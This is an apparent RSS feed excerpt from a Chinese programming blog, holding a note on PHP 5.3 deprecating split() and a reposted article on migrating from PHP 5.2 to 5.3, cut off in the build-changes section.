/>查了原因是因为PHP的版本不同所导致的，本身程序开发的时候用的是PHP5.2以下版本，而现在空间上用的是PHP5.3的版本，很多PHP函数已经过时不能用了，这里的这个错误原因就是函数split()在 PHP5.3 中已经不建议使用了。</p> <p>PHP5.3 split() 不建议使用的原因：<br />PHP 5.3.0 之后的regex, 希望使用PCRE 的规格, POSIX Regex 都不建议使用了(统一Regex, 避免规格太多).</p> <p>所以下述是不建议使用的Function (POSIX), 与建议替换成的Function (PCRE) 列表, 详可见: <a href="http://www.php.net/manual/en/reference.pcre.pattern.posix.php">http://www.php.net/manual/en/reference.pcre.pattern.posix.php</a></p> <p><br />* POSIX &#8594; PCRE<br />* ereg_replace() &#8594; preg_replace()<br />* ereg() &#8594; preg_match()<br />* eregi_replace() &#8594; preg_replace()<br />* eregi() &#8594; preg_match()<br />* split() &#8594; preg_split()<br />* spliti() &#8594; preg_split()<br />* <a href="http://www.jzxue.com/shujuku/mssqlserver/" target="_blank">sql</a>_regc<a href="http://www.jzxue.com/tag/FlashAS/" target="_blank">as</a>e() &#8594; No equivalent</p> <p><br />PHP split() 替代方案<br />* 需要regex 的split, 可用preg_split() 代替<br />* 不需要regex, 只要要快速分割固定的字串, 可用explode() 代替. (速度会比需要regex 的快很多)</p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/370856.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-02-27 16:46 <a href="http://www.blogjava.net/xiaomage234/archive/2012/02/27/370856.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>从 PHP V5.2 升级到 PHP V5.3 迁移</title><link>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370855.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 27 Feb 2012 08:43:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370855.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/370855.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370855.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/370855.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/370855.html</trackback:ping><description><![CDATA[<div><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">文章转自PHP5研究室，作者：John Mertic</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">------------------</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">&#8220;PHP V5.3 中的新特性&#8221; 系列文章将持续介绍该发行版提供的令人兴奋的新特性。第 1 部分 介绍了 PHP 5.3 中对面向对象编程及对象处理所做的更改，第 2 部分 介绍了闭包函数及 lambda 函数。第 3 部分 探讨了名称空间，这是该 PHP 版本中最令人期待也是最具争议的特性之一。在 第 4 部分中，我们进一步研究了 Phar，这是一种用于 PHP 的归档格式。在本系列的最后一部分中，了解从 PHP V5.2 升级到 PHP V5.3 时要考虑的一些事情。PHP V5.3 中的一些变化破坏了向后兼容性，有些特性在 PHP V5.3 中不受支持，在将来的版本中将被取消。本文还介绍 PHP V5.3 对 PHP 中一些已有特性的增强。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N10065" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">简介</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">本系列着重介绍 PHP V5.3 中的新特性，例如名称空间、闭包、对象管理、面向对象编程和 Phar。虽然这些动人的新特性作为该语言的增补广受欢迎，但 PHP V5.3 同时也是为进一步优化 PHP 而设计的。它构建在流行、稳定的 PHP V5.2 的基础上，并对该语言作了增强，使之更加强大。在本文中，了解 PHP V5.3 中的变化，以及从 PHP V5.2 升级到 PHP V5.3 时需要考虑的一些事情。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N1006E" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">语法变化</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">该语言新增了名称空间和闭包，增加了更多的保留字。从 PHP V5.3 开始，<code style="line-height: normal; ">namespace</code>&nbsp;不再用作标识符。<code style="line-height: normal; ">closure</code>&nbsp;类现在是一个保留类，但它仍然可以作为有效的标识符。清单 1 显示了一些例子，由于新增的保留字的缘故，有些语句在 PHP V5.3 中不再有效。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /><a name="N1008B" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><strong style="line-height: normal; "><u style="line-height: normal; ">清单 1. 无效的 PHP 语句</u></strong></a><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><pre style="line-height: normal; "><br style="line-height: normal; " />// the function definition below will throw a fatal error in PHP 5.3, but is perfectly <br style="line-height: normal; " />// valid in 5.2<br style="line-height: normal; " />function namespace() <br style="line-height: normal; " />{<br style="line-height: normal; " />....<br style="line-height: normal; " />}<br style="line-height: normal; " /><br style="line-height: normal; " />// same with this class definition<br style="line-height: normal; " />class Closure<br style="line-height: normal; " />{<br style="line-height: normal; " />....<br style="line-height: normal; " />}</pre></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">PHP V5.3 中还增加了对&nbsp;<code style="line-height: normal; ">goto</code>&nbsp;语句的支持。现在，<code style="line-height: normal; ">goto</code>&nbsp;是一个保留字。<code style="line-height: normal; ">goto</code>&nbsp;语句在现代语言中不太常见（您也许记得在 BASIC 中如何使用 goto），但是有些情况下，goto 语句的确方便。清单 2 显示了一个如何使用 goto 语句的例子。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /><a name="N100A4" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><strong style="line-height: normal; "><u style="line-height: normal; ">清单 2. PHP 中的&nbsp;<code style="line-height: normal; ">goto</code>&nbsp;语句</u></strong></a><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><pre style="line-height: normal; "><br style="line-height: normal; " />echo "This text will get outputted";<br style="line-height: normal; " />goto a;<br style="line-height: normal; " /><br style="line-height: normal; " />echo "This text will get skipped";<br style="line-height: normal; " /><br style="line-height: normal; " />a:<br style="line-height: normal; " />echo "This text will get outputted";</pre></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><code style="line-height: normal; ">goto</code>&nbsp;的一个可能的用例是中断深度嵌套的循环和&nbsp;<code style="line-height: normal; ">if</code>&nbsp;语句。这将使代码阅读起来清晰很多。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N100B8" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">函数和方法的变化</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">在 PHP V5.3 中，函数和方法没有大的变化，但还是有一些增强，以帮助解决 PHP 中的一些突出问题并提高性能。本节讨论一些较为显著的变化。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">在之前版本的 PHP 中，数组函数&nbsp;<code style="line-height: normal; ">atsort</code>、<code style="line-height: normal; ">natcasesort</code>、<code style="line-height: normal; ">usort</code>、<code style="line-height: normal; ">uasort</code>、<code style="line-height: normal; ">uksort</code>、<code style="line-height: normal; ">array_flip</code>&nbsp;和&nbsp;<code style="line-height: normal; ">array_unique</code>&nbsp;可以以参数形式传递对象而不是数组。然后，这些函数将对象的属性当做数组的键和值。PHP V5.3 中不再支持这一点，所以需要首先将对象转换成数组。清单 3 展示了如何修改代码。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /><a name="N100E4" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><strong style="line-height: normal; "><u style="line-height: normal; ">清单 3. 为某些函数修改代码，将对象转换成数组</u></strong></a><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><pre style="line-height: normal; "><br style="line-height: normal; " />$obj = new stdClass;<br style="line-height: normal; " />$obj-&gt;a = '1';<br style="line-height: normal; " />$obj-&gt;b = '2';<br style="line-height: normal; " />$obj-&gt;c = '3';<br style="line-height: normal; " /><br style="line-height: normal; " />print_r(array_flip($obj)); // will NOT work in PHP 5.3, but will in PHP 5.2<br style="line-height: normal; " /><br style="line-height: normal; " />print_r(array_flip((array) $obj)); // will work in PHP 5.3 and 5.2</pre></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">魔术类方法现在受到更严格的限制。下面的方法必须具有公共可见性：</p><ul style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><li style="line-height: normal; "><code style="line-height: normal; ">__get</code></li><li style="line-height: normal; "><code style="line-height: normal; ">__set</code></li><li style="line-height: normal; "><code style="line-height: normal; ">__isset</code></li><li style="line-height: normal; "><code style="line-height: normal; ">__unset</code></li><li style="line-height: normal; "><code style="line-height: normal; ">__call</code></li></ul><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">现在，当在静态上下文中使用&nbsp;<code style="line-height: normal; ">__call</code>&nbsp;时，为了应对上述变化，可以使用新的&nbsp;<code style="line-height: normal; ">__callStatic()</code>&nbsp;魔术方法。除了不接受参数的&nbsp;<code style="line-height: normal; ">__isString()</code>&nbsp;魔术方法以外，这些方法的必需参数都是强制性的，并且必须提供。清单 4 显示了如何使用这些方法以及它们的必需参数。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /><a name="N1011C" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><strong style="line-height: normal; "><u style="line-height: normal; ">清单 4. 使用魔术方法</u></strong></a><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><pre style="line-height: normal; "><br style="line-height: normal; " />class Foo<br style="line-height: normal; " />{<br style="line-height: normal; " />    public function __get($key) {} // must be public and have one parameter<br style="line-height: normal; " />    public function __set($key,$val) {} // must be public and have two parameters<br style="line-height: normal; " /><br style="line-height: normal; " />    public function __toString() {} must be public and have no parameters<br style="line-height: normal; " />}</pre></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">在 Windows 上，有些函数之前在 PHP 中不受支持，现在在 PHP V5.3 中获得支持。例如，<code style="line-height: normal; ">getopt()</code>&nbsp;函数用于解析从命令行调用 PHP 脚本时使用的选项。用于编码和解码 Internet 地址的&nbsp;<code style="line-height: normal; ">inet_ntop()</code>&nbsp;和&nbsp;<code style="line-height: normal; ">inet_pton()</code>&nbsp;函数，现在也可以在 Windows&#174; 上使用。还有一些数学函数，例如&nbsp;<code style="line-height: normal; ">asinh()</code>、<code style="line-height: normal; ">acosh()</code>、<code style="line-height: normal; ">atanh()</code>、<code style="line-height: normal; ">log1p()</code>&nbsp;和&nbsp;<code style="line-height: normal; ">expm1()</code>，现在在 Windows 上也受支持。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N10147" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">扩展的变化</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">PHP Extension C Library（PECL）一直都是 PHP 中的新扩展的来源地。当一个扩展已经成熟和稳定，并且被认为可以成为核心发行版中一个有用的功能，那么它通常在重大的版本变更时被添加进来。根据这条规 则，从 PHP V5.3 开始，下面的扩展会成为核心 PHP 发行版中的一部分。</p><dl style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><dt style="line-height: normal; "><strong style="line-height: normal; ">FileInfo</strong></dt><dd style="line-height: normal; ">提供帮助检测文件的内容类型和编码的函数，这些函数通过查看文件中的某些魔术字节字符序列进行检测。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">intl</strong></dt><dd style="line-height: normal; ">International Components for Unicode（ICU）库的一个包装器，提供用于 unicode 和全球化支持的函数。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">Phar</strong></dt><dd style="line-height: normal; "><a href="http://www.ibm.com/developerworks/cn/opensource/os-php-5.3new4/index.html" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; ">第 4 部分</a>&nbsp;中讨论过的一个 PHP 归档工具。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">mysqlnd</strong></dt><dd style="line-height: normal; ">用于 MySQL 数据库访问的一个本地 PHP 驱动程序，是早期利用 libmysql 库的 MySQL 和 MySQLi 扩展的替代物。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">SQLite3</strong></dt><dd style="line-height: normal; ">用于使用 SQLite V3 数据库的一个库。</dd></dl><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">当一个扩展不再受到积极的维护，或者被认为不值得随核心 PHP 发行版一起发行时，它通常被转移到 PECL。在 PHP V5.3 的改造过程中，下面这些扩展被踢出核心 PHP 发行版，而放在 PECL 中进行维护。</p><dl style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><dt style="line-height: normal; "><strong style="line-height: normal; ">ncurses</strong></dt><dd style="line-height: normal; ">对 curses 的模拟，用于在命令行显示图形化的输出。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">fpdf</strong></dt><dd style="line-height: normal; ">用于在 PDF 文档中构建和使用表单和表单数据。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">dbase</strong></dt><dd style="line-height: normal; ">提供读写 dbase 兼容文件的支持。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">fbsql</strong></dt><dd style="line-height: normal; ">支持 Frontbase 数据库服务器上的数据库访问。</dd><dt style="line-height: normal; "><strong style="line-height: normal; ">ming</strong></dt><dd style="line-height: normal; ">一个开源库，用于创建 Flash 4 动画。</dd></dl><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">Sybase 扩展已经被完全移除，取而代之的是 sybase_ct 扩展。sybase_ct 扩展与前者完全兼容，应该是一个简易替代者（drop-in replacement）。这个更新的功能将使用 Sybase client 库，需要将这些库安装在 Web 服务器上。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N1019B" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">构建的变化</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">PHP V5.3 着重改善了构建过程，因此更容易在所有平台上构建 PHP。为了维护 PHP 构建之间的一致性，并提供一组可靠的组件，在构建中不再禁用 PCRE、Reflection 和 SPL 扩展。现在，可以构建可分发的 PHP 